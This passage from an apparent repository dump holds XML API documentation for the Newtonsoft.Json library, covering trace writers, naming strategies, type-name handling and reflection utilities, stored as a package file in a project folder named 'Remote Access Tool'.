<value>\n            The <see cref=\"T:Newtonsoft.Json.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.MemoryTraceWriter.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.MemoryTraceWriter\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.MemoryTraceWriter.Trace(Newtonsoft.Json.TraceLevel,System.String,System.Exception)\">\n            <summary>\n            Writes the specified trace level, message and optional exception.\n            </summary>\n            <param name=\"level\">The <see cref=\"T:Newtonsoft.Json.TraceLevel\"/> at which to write this trace.</param>\n            <param name=\"message\">The trace message.</param>\n            <param name=\"ex\">The trace exception. This parameter is optional.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.MemoryTraceWriter.GetTraceMessages\">\n            <summary>\n            Returns an enumeration of the most recent trace messages.\n            </summary>\n            <returns>An enumeration of the most recent trace messages.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.MemoryTraceWriter.ToString\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> of the most recent trace messages.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.String\"/> of the most recent trace messages.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.NamingStrategy\">\n            <summary>\n            A base class for resolving how property names and dictionary keys are serialized.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.NamingStrategy.ProcessDictionaryKeys\">\n            <summary>\n            A flag indicating whether dictionary keys should be processed.\n            Defaults to <c>false</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.NamingStrategy.ProcessExtensionDataNames\">\n            <summary>\n            A flag indicating whether extension data names should be processed.\n            Defaults to <c>false</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.NamingStrategy.OverrideSpecifiedNames\">\n            <summary>\n            A flag indicating whether explicitly specified property names,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>, should be processed.\n            Defaults to <c>false</c>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.GetPropertyName(System.String,System.Boolean)\">\n            <summary>\n            Gets the serialized name for a given property name.\n            </summary>\n            <param name=\"name\">The initial property name.</param>\n            <param name=\"hasSpecifiedName\">A flag indicating whether the property has had a name explicitly specified.</param>\n            <returns>The serialized property name.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.GetExtensionDataName(System.String)\">\n            <summary>\n            Gets the serialized name for a given extension data name.\n            </summary>\n            <param name=\"name\">The initial extension data name.</param>\n            <returns>The serialized extension data name.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.GetDictionaryKey(System.String)\">\n            <summary>\n            Gets the serialized key for a given dictionary key.\n            </summary>\n            <param name=\"key\">The initial dictionary key.</param>\n            <returns>The serialized dictionary key.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the specified property name.\n            </summary>\n            <param name=\"name\">The property name to resolve.</param>\n            <returns>The resolved property name.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.GetHashCode\">\n            <summary>\n            Hash code calculation\n            </summary>\n            <returns></returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.Equals(System.Object)\">\n            <summary>\n            Object equality implementation\n            </summary>\n            <param name=\"obj\"></param>\n            <returns></returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.Equals(Newtonsoft.Json.Serialization.NamingStrategy)\">\n            <summary>\n            Compare to another NamingStrategy\n            </summary>\n            <param name=\"other\"></param>\n            <returns></returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ObjectConstructor`1\">\n            <summary>\n            Represents a method that constructs an object.\n            </summary>\n            <typeparam name=\"T\">The object type to create.</typeparam>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.OnErrorAttribute\">\n            <summary>\n            When applied to a method, specifies that the method is called when an error occurs serializing an object.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ReflectionAttributeProvider\">\n            <summary>\n            Provides methods to get attributes from a <see cref=\"T:System.Type\"/>, <see cref=\"T:System.Reflection.MemberInfo\"/>, <see cref=\"T:System.Reflection.ParameterInfo\"/> or <see cref=\"T:System.Reflection.Assembly\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionAttributeProvider.#ctor(System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.ReflectionAttributeProvider\"/> class.\n            </summary>\n            <param name=\"attributeProvider\">The instance to get attributes for. This parameter should be a <see cref=\"T:System.Type\"/>, <see cref=\"T:System.Reflection.MemberInfo\"/>, <see cref=\"T:System.Reflection.ParameterInfo\"/> or <see cref=\"T:System.Reflection.Assembly\"/>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionAttributeProvider.GetAttributes(System.Boolean)\">\n            <summary>\n            Returns a collection of all of the attributes, or an empty collection if there are no attributes.\n            </summary>\n            <param name=\"inherit\">When <c>true</c>, look up the hierarchy chain for the inherited custom attribute.</param>\n            <returns>A collection of <see cref=\"T:System.Attribute\"/>s, or an empty collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionAttributeProvider.GetAttributes(System.Type,System.Boolean)\">\n            <summary>\n            Returns a collection of attributes, identified by type, or an empty collection if there are no attributes.\n            </summary>\n            <param name=\"attributeType\">The type of the attributes.</param>\n            <param name=\"inherit\">When <c>true</c>, look up the hierarchy chain for the inherited custom attribute.</param>\n            <returns>A collection of <see cref=\"T:System.Attribute\"/>s, or an empty collection.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ReflectionValueProvider\">\n            <summary>\n            Get and set values for a <see cref=\"T:System.Reflection.MemberInfo\"/> using reflection.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionValueProvider.#ctor(System.Reflection.MemberInfo)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.ReflectionValueProvider\"/> class.\n            </summary>\n            <param name=\"memberInfo\">The member info.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionValueProvider.SetValue(System.Object,System.Object)\">\n            <summary>\n            Sets the value.\n            </summary>\n            <param name=\"target\">The target to set the value on.</param>\n            <param name=\"value\">The value to set on the target.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionValueProvider.GetValue(System.Object)\">\n            <summary>\n            Gets the value.\n            </summary>\n            <param name=\"target\">The target to get the value from.</param>\n            <returns>The value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy\">\n            <summary>\n            A snake case naming strategy.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy.#ctor(System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy.#ctor(System.Boolean,System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n            <param name=\"processExtensionDataNames\">\n            A flag indicating whether extension data names should be processed.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the specified property name.\n            </summary>\n            <param name=\"name\">The property name to resolve.</param>\n            <returns>The resolved property name.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.StringEscapeHandling\">\n            <summary>\n            Specifies how strings are escaped when writing JSON text.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.StringEscapeHandling.Default\">\n            <summary>\n            Only control characters (e.g. newline) are escaped.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.StringEscapeHandling.EscapeNonAscii\">\n            <summary>\n            All non-ASCII and control characters (e.g. newline) are escaped.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.StringEscapeHandling.EscapeHtml\">\n            <summary>\n            HTML (&lt;, &gt;, &amp;, &apos;, &quot;) and control characters (e.g. newline) are escaped.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.TraceLevel\">\n            <summary>\n            Specifies what messages to output for the <see cref=\"T:Newtonsoft.Json.Serialization.ITraceWriter\"/> class.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TraceLevel.Off\">\n            <summary>\n            Output no tracing and debugging messages.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TraceLevel.Error\">\n            <summary>\n            Output error-handling messages.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TraceLevel.Warning\">\n            <summary>\n            Output warnings and error-handling messages.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TraceLevel.Info\">\n            <summary>\n            Output informational messages, warnings, and error-handling messages.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TraceLevel.Verbose\">\n            <summary>\n            Output all debugging and tracing messages.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.TypeNameAssemblyFormatHandling\">\n            <summary>\n            Indicates the method that will be used during deserialization for locating and loading assemblies.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameAssemblyFormatHandling.Simple\">\n            <summary>\n            In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the <c>LoadWithPartialName</c> method of the <see cref=\"T:System.Reflection.Assembly\"/> class is used to load the assembly.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameAssemblyFormatHandling.Full\">\n            <summary>\n            In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The <c>Load</c> method of the <see cref=\"T:System.Reflection.Assembly\"/> class is used to load the assembly.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.TypeNameHandling\">\n            <summary>\n            Specifies type name handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <remarks>\n            <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> should be used with caution when your application deserializes JSON from an external source.\n            Incoming types should be validated with a custom <see cref=\"P:Newtonsoft.Json.JsonSerializer.SerializationBinder\"/>\n            when deserializing with a value other than <see cref=\"F:Newtonsoft.Json.TypeNameHandling.None\"/>.\n            </remarks>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameHandling.None\">\n            <summary>\n            Do not include the .NET type name when serializing types.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameHandling.Objects\">\n            <summary>\n            Include the .NET type name when serializing into a JSON object structure.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameHandling.Arrays\">\n            <summary>\n            Include the .NET type name when serializing into a JSON array structure.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameHandling.All\">\n            <summary>\n            Always include the .NET type name when serializing.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameHandling.Auto\">\n            <summary>\n            Include the .NET type name when the type of the object being serialized is not the same as its declared type.\n            Note that this doesn't include the root serialized object by default. To include the root object's type name in JSON\n            you must specify a root type object with <see cref=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,System.Type,Newtonsoft.Json.JsonSerializerSettings)\"/>\n            or <see cref=\"M:Newtonsoft.Json.JsonSerializer.Serialize(Newtonsoft.Json.JsonWriter,System.Object,System.Type)\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.CollectionUtils.IsNullOrEmpty``1(System.Collections.Generic.ICollection{``0})\">\n            <summary>\n            Determines whether the collection is <c>null</c> or empty.\n            </summary>\n            <param name=\"collection\">The collection.</param>\n            <returns>\n            \t<c>true</c> if the collection is <c>null</c> or empty; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.CollectionUtils.AddRange``1(System.Collections.Generic.IList{``0},System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Adds the elements of the specified collection to the specified generic <see cref=\"T:System.Collections.Generic.IList`1\"/>.\n            </summary>\n            <param name=\"initial\">The list to add to.</param>\n            <param name=\"collection\">The collection of elements to add.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ConvertUtils.ConvertOrCast(System.Object,System.Globalization.CultureInfo,System.Type)\">\n            <summary>\n            Converts the value to the specified type. If the value is unable to be converted, the\n            value is checked whether it assignable to the specified type.\n            </summary>\n            <param name=\"initialValue\">The value to convert.</param>\n            <param name=\"culture\">The culture to use when converting.</param>\n            <param name=\"targetType\">The type to convert or cast the value to.</param>\n            <returns>\n            The converted type. If conversion was unsuccessful, the initial value\n            is returned if assignable to the target type.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.DynamicProxyMetaObject`1.CallMethodWithResult(System.String,System.Dynamic.DynamicMetaObjectBinder,System.Collections.Generic.IEnumerable{System.Linq.Expressions.Expression},Newtonsoft.Json.Utilities.DynamicProxyMetaObject{`0}.Fallback,Newtonsoft.Json.Utilities.DynamicProxyMetaObject{`0}.Fallback)\">\n            <summary>\n            Helper method for generating a MetaObject which calls a\n            specific method on Dynamic that returns a result\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.DynamicProxyMetaObject`1.CallMethodReturnLast(System.String,System.Dynamic.DynamicMetaObjectBinder,System.Collections.Generic.IEnumerable{System.Linq.Expressions.Expression},Newtonsoft.Json.Utilities.DynamicProxyMetaObject{`0}.Fallback)\">\n            <summary>\n            Helper method for generating a MetaObject which calls a\n            specific method on Dynamic, but uses one of the arguments for\n            the result.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.DynamicProxyMetaObject`1.CallMethodNoResult(System.String,System.Dynamic.DynamicMetaObjectBinder,System.Linq.Expressions.Expression[],Newtonsoft.Json.Utilities.DynamicProxyMetaObject{`0}.Fallback)\">\n            <summary>\n            Helper method for generating a MetaObject which calls a\n            specific method on Dynamic, but uses one of the arguments for\n            the result.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.DynamicProxyMetaObject`1.GetRestrictions\">\n            <summary>\n            Returns a Restrictions object which includes our current restrictions merged\n            with a restriction limiting our type\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Utilities.ImmutableCollectionsUtils\">\n            <summary>\n            Helper class for serializing immutable collections.\n            Note that this is used by all builds, even those that don't support immutable collections, in case the DLL is GACed\n            https://github.com/JamesNK/Newtonsoft.Json/issues/652\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Utilities.MethodBinder.PrimitiveTypes\">\n            <summary>\n            List of primitive types which can be widened.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Utilities.MethodBinder.WideningMasks\">\n            <summary>\n            Widening masks for primitive types above.\n            Index of the value in this array defines a type we're widening,\n            while the bits in mask define types it can be widened to (including itself).\n            \n            For example, value at index 0 defines a bool type, and it only has bit 0 set, \n            i.e. bool values can be assigned only to bool.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.MethodBinder.CanConvertPrimitive(System.Type,System.Type)\">\n            <summary>\n            Checks if value of primitive type <paramref name=\"from\"/> can be  \n            assigned to parameter of primitive type <paramref name=\"to\"/>.\n            </summary>\n            <param name=\"from\">Source primitive type.</param>\n            <param name=\"to\">Target primitive type.</param>\n            <returns><c>true</c> if source type can be widened to target type, <c>false</c> otherwise.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.MethodBinder.FilterParameters(System.Reflection.ParameterInfo[],System.Collections.Generic.IList{System.Type},System.Boolean)\">\n            <summary>\n            Checks if a set of values with given <paramref name=\"types\"/> can be used\n            to invoke a method with specified <paramref name=\"parameters\"/>. \n            </summary>\n            <param name=\"parameters\">Method parameters.</param>\n            <param name=\"types\">Argument types.</param>\n            <param name=\"enableParamArray\">Try to pack extra arguments into the last parameter when it is marked up with <see cref=\"T:System.ParamArrayAttribute\"/>.</param>\n            <returns><c>true</c> if method can be called with given arguments, <c>false</c> otherwise.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Utilities.MethodBinder.ParametersMatchComparer\">\n            <summary>\n            Compares two sets of parameters to determine \n            which one suits better for given argument types.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.MethodBinder.SelectMethod``1(System.Collections.Generic.IEnumerable{``0},System.Collections.Generic.IList{System.Type})\">\n            <summary>\n            Returns a best method overload for given argument <paramref name=\"types\"/>.\n            </summary>\n            <param name=\"candidates\">List of method candidates.</param>\n            <param name=\"types\">Argument types.</param>\n            <returns>Best method overload, or <c>null</c> if none matched.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.GetCollectionItemType(System.Type)\">\n            <summary>\n            Gets the type of the typed collection's items.\n            </summary>\n            <param name=\"type\">The type.</param>\n            <returns>The type of the typed collection's items.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.GetMemberUnderlyingType(System.Reflection.MemberInfo)\">\n            <summary>\n            Gets the member's underlying type.\n            </summary>\n            <param name=\"member\">The member.</param>\n            <returns>The underlying type of the member.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.IsIndexedProperty(System.Reflection.PropertyInfo)\">\n            <summary>\n            Determines whether the property is an indexed property.\n            </summary>\n            <param name=\"property\">The property.</param>\n            <returns>\n            \t<c>true</c> if the property is an indexed property; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.GetMemberValue(System.Reflection.MemberInfo,System.Object)\">\n            <summary>\n            Gets the member's value on the object.\n            </summary>\n            <param name=\"member\">The member.</param>\n            <param name=\"target\">The target object.</param>\n            <returns>The member's value on the object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.SetMemberValue(System.Reflection.MemberInfo,System.Object,System.Object)\">\n            <summary>\n            Sets the member's value on the target object.\n            </summary>\n            <param name=\"member\">The member.</param>\n            <param name=\"target\">The target.</param>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.CanReadMemberValue(System.Reflection.MemberInfo,System.Boolean)\">\n            <summary>\n            Determines whether the specified MemberInfo can be read.\n            </summary>\n            <param name=\"member\">The MemberInfo to determine whether can be read.</param>\n            /// <param name=\"nonPublic\">if set to <c>true</c> then allow the member to be gotten non-publicly.</param>\n            <returns>\n            \t<c>true</c> if the specified MemberInfo can be read; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.CanSetMemberValue(System.Reflection.MemberInfo,System.Boolean,System.Boolean)\">\n            <summary>\n            Determines whether the specified MemberInfo can be set.\n            </summary>\n            <param name=\"member\">The MemberInfo to determine whether can be set.</param>\n            <param name=\"nonPublic\">if set to <c>true</c> then allow the member to be set non-publicly.</param>\n            <param name=\"canSetReadOnly\">if set to <c>true</c> then allow the member to be set if read-only.</param>\n            <returns>\n            \t<c>true</c> if the specified MemberInfo can be set; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Utilities.StringBuffer\">\n            <summary>\n            Builds a string. Unlike <see cref=\"T:System.Text.StringBuilder\"/> this class lets you reuse its internal buffer.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.StringUtils.IsWhiteSpace(System.String)\">\n            <summary>\n            Determines whether the string is all white space. Empty string will return <c>false</c>.\n            </summary>\n            <param name=\"s\">The string to test whether it is all white space.</param>\n            <returns>\n            \t<c>true</c> if the string is all white space; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.WriteState\">\n            <summary>\n            Specifies the state of the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Error\">\n            <summary>\n            An exception has been thrown, which has left the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> in an invalid state.\n            You may call the <see cref=\"M:Newtonsoft.Json.JsonWriter.Close\"/> method to put the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> in the <c>Closed</c> state.\n            Any other <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> method calls result in an <see cref=\"T:System.InvalidOperationException\"/> being thrown.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Closed\">\n            <summary>\n            The <see cref=\"M:Newtonsoft.Json.JsonWriter.Close\"/> method has been called.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Object\">\n            <summary>\n            An object is being written. \n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Array\">\n            <summary>\n            An array is being written.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Constructor\">\n            <summary>\n            A constructor is being written.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Property\">\n            <summary>\n            A property is being written.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Start\">\n            <summary>\n            A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> write method has not been called.\n            </summary>\n        </member>\n        <member name=\"T:System.Runtime.Serialization.Formatters.FormatterAssemblyStyle\">\n            <summary>\n            Indicates the method that will be used during deserialization for locating and loading assemblies.\n            </summary>\n        </member>\n        <member name=\"F:System.Runtime.Serialization.Formatters.FormatterAssemblyStyle.Simple\">\n            <summary>\n            In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the <see cref=\"M:System.Reflection.Assembly.LoadWithPartialName(String)\"/> method is used to load the assembly.\n            </summary>\n        </member>\n        <member name=\"F:System.Runtime.Serialization.Formatters.FormatterAssemblyStyle.Full\">\n            <summary>\n            In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The <see cref=\"M:System.Reflection.Assembly.Load(System.Reflection.AssemblyName)\"/> is used to load the assembly.\n            </summary>\n        </member>\n        <member name=\"T:System.Diagnostics.CodeAnalysis.NotNullAttribute\">\n            <summary>Specifies that an output will not be null even if the corresponding type allows it.</summary>\n        </member>\n        <member name=\"T:System.Diagnostics.CodeAnalysis.NotNullWhenAttribute\">\n            <summary>Specifies that when a method returns <see cref=\"P:System.Diagnostics.CodeAnalysis.NotNullWhenAttribute.ReturnValue\"/>, the parameter will not be null even if the corresponding type allows it.</summary>\n        </member>\n        <member name=\"M:System.Diagnostics.CodeAnalysis.NotNullWhenAttribute.#ctor(System.Boolean)\">\n            <summary>Initializes the attribute with the specified return value condition.</summary>\n            <param name=\"returnValue\">\n            The return value condition. If the method returns this value, the associated parameter will not be null.\n            </param>\n        </member>\n        <member name=\"P:System.Diagnostics.CodeAnalysis.NotNullWhenAttribute.ReturnValue\">\n            <summary>Gets the return value condition.</summary>\n        </member>\n        <member name=\"T:System.Diagnostics.CodeAnalysis.MaybeNullAttribute\">\n            <summary>Specifies that an output may be null even if the corresponding type disallows it.</summary>\n        </member>\n        <member name=\"T:System.Diagnostics.CodeAnalysis.AllowNullAttribute\">\n            <summary>Specifies that null is allowed as an input even if the corresponding type disallows it.</summary>\n        </member>\n        <member name=\"T:System.Diagnostics.CodeAnalysis.DoesNotReturnIfAttribute\">\n            <summary>\n            Specifies that the method will not return if the associated Boolean parameter is passed the specified value.\n            </summary>\n        </member>\n        <member name=\"M:System.Diagnostics.CodeAnalysis.DoesNotReturnIfAttribute.#ctor(System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:System.Diagnostics.CodeAnalysis.DoesNotReturnIfAttribute\"/> class.\n            </summary>\n            <param name=\"parameterValue\">\n            The condition parameter value. Code after the method will be considered unreachable by diagnostics if the argument to\n            the associated parameter matches this value.\n            </param>\n        </member>\n        <member name=\"P:System.Diagnostics.CodeAnalysis.DoesNotReturnIfAttribute.ParameterValue\">\n            <summary>Gets the condition parameter value.</summary>\n        </member>\n    </members>\n</doc>\n"
  },
  {
    "path": "Remote Access Tool/packages/Newtonsoft.Json.13.0.1/lib/netstandard1.3/Newtonsoft.Json.xml",
    "content": "<?xml version=\"1.0\"?>\n<doc>\n    <assembly>\n        <name>Newtonsoft.Json</name>\n    </assembly>\n    <members>\n        <member name=\"T:Newtonsoft.Json.Bson.BsonObjectId\">\n            <summary>\n            Represents a BSON Oid (object id).\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Bson.BsonObjectId.Value\">\n            <summary>\n            Gets or sets the value of the Oid.\n            </summary>\n            <value>The value of the Oid.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonObjectId.#ctor(System.Byte[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonObjectId\"/> class.\n            </summary>\n            <param name=\"value\">The Oid value.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Bson.BsonReader\">\n            <summary>\n            Represents a reader that provides fast, non-cached, forward-only access to serialized BSON data.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Bson.BsonReader.JsonNet35BinaryCompatibility\">\n            <summary>\n            Gets or sets a value indicating whether binary data reading should be compatible with incorrect Json.NET 3.5 written binary.\n            </summary>\n            <value>\n            \t<c>true</c> if binary data reading will be compatible with incorrect Json.NET 3.5 written binary; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Bson.BsonReader.ReadRootValueAsArray\">\n            <summary>\n            Gets or sets a value indicating whether the root object will be read as a JSON array.\n            </summary>\n            <value>\n            \t<c>true</c> if the root object will be read as a JSON array; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Bson.BsonReader.DateTimeKindHandling\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.DateTimeKind\" /> used when reading <see cref=\"T:System.DateTime\"/> values from BSON.\n            </summary>\n            <value>The <see cref=\"T:System.DateTimeKind\" /> used when reading <see cref=\"T:System.DateTime\"/> values from BSON.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.#ctor(System.IO.Stream)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonReader\"/> class.\n            </summary>\n            <param name=\"stream\">The <see cref=\"T:System.IO.Stream\"/> containing the BSON data to read.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.#ctor(System.IO.BinaryReader)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonReader\"/> class.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:System.IO.BinaryReader\"/> containing the BSON data to read.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.#ctor(System.IO.Stream,System.Boolean,System.DateTimeKind)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonReader\"/> class.\n            </summary>\n            <param name=\"stream\">The <see cref=\"T:System.IO.Stream\"/> containing the BSON data to read.</param>\n            <param name=\"readRootValueAsArray\">if set to <c>true</c> the root object will be read as a JSON array.</param>\n            <param name=\"dateTimeKindHandling\">The <see cref=\"T:System.DateTimeKind\" /> used when reading <see cref=\"T:System.DateTime\"/> values from BSON.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.#ctor(System.IO.BinaryReader,System.Boolean,System.DateTimeKind)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonReader\"/> class.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:System.IO.BinaryReader\"/> containing the BSON data to read.</param>\n            <param name=\"readRootValueAsArray\">if set to <c>true</c> the root object will be read as a JSON array.</param>\n            <param name=\"dateTimeKindHandling\">The <see cref=\"T:System.DateTimeKind\" /> used when reading <see cref=\"T:System.DateTime\"/> values from BSON.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.Read\">\n            <summary>\n            Reads the 